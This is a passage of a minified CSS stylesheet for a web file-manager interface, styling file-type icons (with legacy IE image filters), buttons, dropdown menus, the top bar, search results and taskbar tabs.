\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder_share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle_full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path_self_share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app_link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-userSelf{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-groupSelf{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-groupSelfOwner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-groupGuest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-groupSelfRoot{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-groupRoot{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-groupPublic{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-treeSelf{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-treeFav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:120px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:45%;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px 